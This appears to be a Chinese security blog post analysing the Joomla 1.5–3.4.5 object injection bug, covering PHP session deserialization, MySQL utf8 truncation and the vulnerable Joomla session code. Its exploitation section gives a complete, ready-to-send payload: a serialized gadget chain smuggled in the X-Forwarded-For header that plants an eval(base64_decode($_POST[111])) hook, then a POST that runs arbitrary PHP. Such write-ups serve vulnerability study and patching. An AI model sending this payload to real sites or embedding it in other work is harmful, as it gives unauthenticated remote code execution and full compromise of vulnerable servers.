joomla对象注入漏洞

03月

1915 0 0

影响版本

from Joomla 1.5 up until 3.4.5

此漏洞无需登录，前台即可代码执行

一、session反序列化

php函数session_set_save_handler()
官方手册介绍如下：
参数 read（）
read(string $sessionId)
如果会话中有数据，read 回调函数必须返回将会话数据编码（序列化）后的字符串。如果会话中没有数据，read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后，PHP 内部调用 read 回调函数来获取会话数据。在调用 read 之前，PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。虽然数据看起来和 serialize() 函数很相似，但是需要提醒的是，它们是不同的。

简而言之，通过session_set_save_handler()重写read方法，将返回值反序列化后填入$_SESSION
示例如下：

<?php
class FileSessionHandler
{
    private $savePath;
    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }
        return true;
    }
    function close()
    {
        return true;
    }
    function read($id)
    {

          $data=@file_get_contents("$this->savePath/sess_$id");
      var_dump($data);
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }
    function write($id, $data)
    {
       // return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }
    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }
        return true;
    }
    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }
        return true;
    }
}
$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );
session_start();
var_dump($_SESSION);

运行结

可以看出，两次vardump出来的结果，分别为序列化前和序列化后

二、数据库截断

通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”，mysql在使用utf8的时候，一个字符的大小的上限为3字节，而当出现四个字节的字符时，是需要用使用utf8mb4编码，不使用的话，会将不识别的四字节的字符连同后面的字符串一同舍弃。
详情参见：http://xteam.baidu.com/?p=177

三、漏洞分析

joomla会将user-agent和x-forwarded-for的内容写入session，外界可控且并未进行任何过滤

    // Record proxy forwarded for in the session in case we need it later
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
    }
        // Check for clients browser
    if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
    {
        $browser = $this->get('session.client.browser');
        if ($browser === null)
        {
            $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
        }
        elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
        {
            // @todo remove code: $this->_state = 'error';
            // @todo remove code: return false;
        }
    }
    return true;
}

之后session写入数据库时，运用前文所讲的四字节字符截断，使得我们写入的session可以被成功反序列化
如下是写入后的内容
__default|a:9:{s:15:”session.counter”;i:1;s:19:”session.timer.start”;i:1450172177;s:18:”session.timer.last”;i:1450172177;s:17:”session.timer.now”;i:1450172177;s:24:”session.client.forwarded”;s:435:”}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:60:”eval(base64_decode($_POST[111]));JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}
而后面则是session的自动反序列化

public function register()
    {
        // Use this object as the session handler
        session_set_save_handler(
            array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
            array($this, 'destroy'), array($this, 'gc')
        );
    }

使用了session_set_save_handler函数重写了read()方法
read()方法如下

public function read($id)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();
        try
        {
            // Get the session data from the database table.
            $query = $db->getQuery(true)
                ->select($db->quoteName('data'))
            ->from($db->quoteName('#__session'))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
            $db->setQuery($query);
            $result = (string) $db->loadResult();
            $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
            return $result;
        }
        catch (Exception $e)
        {
            return false;
        }
    }

read() return后自动进行一次反序列化操作，从而造成了php对象注入
四、漏洞利用

User-aget和X-FORWARDER-FOR均可
修改session

GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive

执行代码

POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d

注意保证cookie中的数据一致即可

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